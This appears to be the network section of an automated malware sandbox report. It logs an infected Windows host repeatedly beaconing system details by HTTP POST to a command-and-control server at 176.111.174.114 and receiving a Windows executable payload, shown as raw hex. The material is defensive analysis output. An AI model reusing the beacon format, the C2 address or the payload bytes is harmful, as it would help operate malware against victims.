Apr 28, 2021 23:22:51.798038006 CEST	2333	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:22:51.798388004 CEST	2336	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:22:51.798623085 CEST	2339	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:22:51.798754930 CEST	2341	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:22:51.799025059 CEST	2344	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49720	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:24.745490074 CEST	1572	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	176.111.174.114	80	192.168.2.5	49812	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.741029024 CEST	2317	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.5	49814	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:51.950593948 CEST	2398	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	176.111.174.114	80	192.168.2.5	49814	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.053813934 CEST	2489	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	176.111.174.114	80	192.168.2.5	49813	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.103754044 CEST	2491	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.5	49815	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.268044949 CEST	2492	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	176.111.174.114	80	192.168.2.5	49815	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.375814915 CEST	2492	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.5	49817	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.590914011 CEST	2493	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	176.111.174.114	80	192.168.2.5	49817	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.692389965 CEST	2493	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.5	49818	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:52.905862093 CEST	2494	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	176.111.174.114	80	192.168.2.5	49818	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:53.012077093 CEST	2494	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	176.111.174.114	80	192.168.2.5	49720	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:24.847598076 CEST	1572	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.5	49819	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:53.240398884 CEST	2495	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	176.111.174.114	80	192.168.2.5	49819	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:53.345448017 CEST	2495	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.5	49820	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:53.560100079 CEST	2496	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	176.111.174.114	80	192.168.2.5	49820	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:53.663809061 CEST	2496	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.5	49822	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:53.894041061 CEST	2497	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	176.111.174.114	80	192.168.2.5	49822	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.007091999 CEST	2497	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.5	49823	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.219609976 CEST	2498	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	176.111.174.114	80	192.168.2.5	49823	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.327195883 CEST	2498	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.5	49824	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.543340921 CEST	2499	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	176.111.174.114	80	192.168.2.5	49824	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.644491911 CEST	2499	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	176.111.174.114	80	192.168.2.5	49711	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.292845964 CEST	1432	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Fri, 23 Apr 2021 10:22:14 GMT ETag: "1f200-5c0a12b672180" Accept-Ranges: bytes Content-Length: 127488 Content-Type: application/octet-stream Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 96 01 00 00 58 00 00 00 00 00 00 84 a4 01 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 02 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 f0 01 00 40 00 00 00 00 e0 01 00 26 0e 00 00 00 20 02 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 9c 94 01 00 00 10 00 00 00 96 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 b4 13 00 00 00 b0 01 00 00 14 00 00 00 9a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 dd 09 00 00 00 d0 01 00 00 00 00 00 00 ae 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 26 0e 00 00 00 e0 01 00 00 10 00 00 00 ae 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 40 00 00 00 00 f0 01 00 00 02 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 9c 1d 00 00 00 00 02 00 00 1e 00 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 14 00 00 00 20 02 00 00 14 00 00 00 de 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 00 00 00 00 00 f2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 0a 06 53 74 72 69 6e 67 58 10 40 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*X@@@& CODE `DATA@BSS.idata&@.edata@@P.reloc@P.rsrc @P@@P@StringX@
Apr 28, 2021 23:22:22.292877913 CEST	1434	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 10 40 00 04 00 00 00 00 00 00 00 78 3b 40 00 84 3b 40 00 88 3b 40 00 8c 3b 40 00 80 3b 40 00 f8 38 40 00 14 39 40 00 50 39 40 00 07 54 4f 62 6a 65 63 74 64 10 40 00 07 Data Ascii: X@x;@;@;@;@;@8@9@P9@TObjectd@TObjectX@System@IInterfaceFSystemD$AJD$_JD$iJ@@@F@@L@
Apr 28, 2021 23:22:22.292927027 CEST	1435	IN	Data Raw: 89 48 0c 8d 54 24 04 8b 06 e8 4d fe ff ff 84 c0 75 04 33 c0 eb 18 b0 01 eb 14 8b 06 8b 00 89 06 8b 06 3b 44 24 0c 0f 85 59 ff ff ff 33 c0 83 c4 10 5d 5f 5e 5b c3 90 53 56 57 8b da 8b f0 81 fe 00 00 10 00 7d 07 be 00 00 10 00 eb 0c 81 c6 ff ff 00 Data Ascii: HT$Mu3;D$Y3]_^[SVW}sjh Vj4;t#AuhjP3_^[SVWUCjh hU;usjh VU;t#Ae
Apr 28, 2021 23:22:22.292995930 CEST	1437	IN	Data Raw: 83 c4 18 5d 5f 5e 5b c3 90 53 83 c4 e8 8b d9 8d 88 ff 3f 00 00 81 e1 00 c0 ff ff 89 0c 24 03 d0 81 e2 00 c0 ff ff 89 54 24 04 8b 44 24 04 3b 04 24 76 5f 8b cb 8b 54 24 04 2b 14 24 8b 04 24 e8 1d fd ff ff 8d 4c 24 08 8b d3 b8 f4 d5 41 00 e8 5d f9 Data Ascii: ]_^[S?$T$D$;$v_T$+$$L$A]\$tL$T$nD$D$D$D$\|$tT$A3[UQ3Uh@d2d"hA=EAthAACA9 A/hj_
Apr 28, 2021 23:22:22.293047905 CEST	1438	IN	Data Raw: f4 ff ff b3 01 8b c3 83 c4 0c 5d 5f 5e 5b c3 53 56 83 c4 f4 8b da 8b f0 89 34 24 8b 04 24 89 58 08 8b 04 24 03 c3 83 e8 0c 89 58 08 81 fb 00 10 00 00 7f 76 8b c3 85 c0 79 03 83 c0 03 c1 f8 02 8b 15 1c d6 41 00 8b 54 82 f4 89 54 24 04 83 7c 24 04 Data Ascii: ]_^[SV4$$X$XvyATT$\|$u#A$L$$P$$D$D$$T$P$T$D$$D$$PV<\|uAAD$$AD$D$$T$P$T$D$
Apr 28, 2021 23:22:22.293095112 CEST	1440	IN	Data Raw: 33 c0 5a 59 59 64 89 10 68 23 25 40 00 80 3d 45 d0 41 00 00 74 0a 68 c4 d5 41 00 e8 f1 ed ff ff c3 e9 27 19 00 00 eb e5 8b 45 fc 5b 8b e5 5d c3 90 55 8b ec 83 c4 f0 53 8b d8 33 c0 a3 c0 d5 41 00 80 3d bc d5 41 00 00 75 1f e8 da f5 ff ff 84 c0 75 Data Ascii: 3ZYYdh#%@=EAthA'E[]US3A=AuuAE3Uh&@d2d"=EAthA]EEEuA A%)AtSE@\|tAU+
Apr 28, 2021 23:22:22.293126106 CEST	1441	IN	Data Raw: 41 00 59 09 c0 74 19 89 01 c3 b0 02 e9 86 00 00 00 89 10 89 c8 ff 15 40 b0 41 00 09 c0 75 eb c3 b0 01 e9 70 00 00 00 85 d2 74 10 50 89 d0 ff 15 3c b0 41 00 59 09 c0 74 e7 89 01 c3 8d 40 00 89 15 04 b0 41 00 e8 39 1a 00 00 c3 53 56 8b f2 8b d8 80 Data Ascii: AYt@AuptP<AYt@A9SV=AtAu7w3HA3^[$PRQ\|7YZXu1@S\7[VW\|$1t+~9
Apr 28, 2021 23:22:22.293183088 CEST	1442	IN	Data Raw: 00 8d 45 fc 50 8b 43 08 f7 ee 50 57 8b 03 50 ff 55 0c 85 c0 75 11 e8 6e e2 ff ff e8 69 fb ff ff 33 c0 89 45 fc eb 3f 8b 45 fc 33 d2 f7 73 08 89 45 fc 8b 45 14 85 c0 74 0a 8b 45 14 8b 55 fc 89 10 eb 23 3b 75 fc 74 1e 8b 45 08 e8 39 fb ff ff 33 c0 Data Ascii: EPCPWPUuni3E?E3sEEtEU#;utE93Eg(3EE_^[Y]US]ShhL/@jd[[]SV3fCf=r/f=w)f%f=uSuS$tHAtg^[fxuP
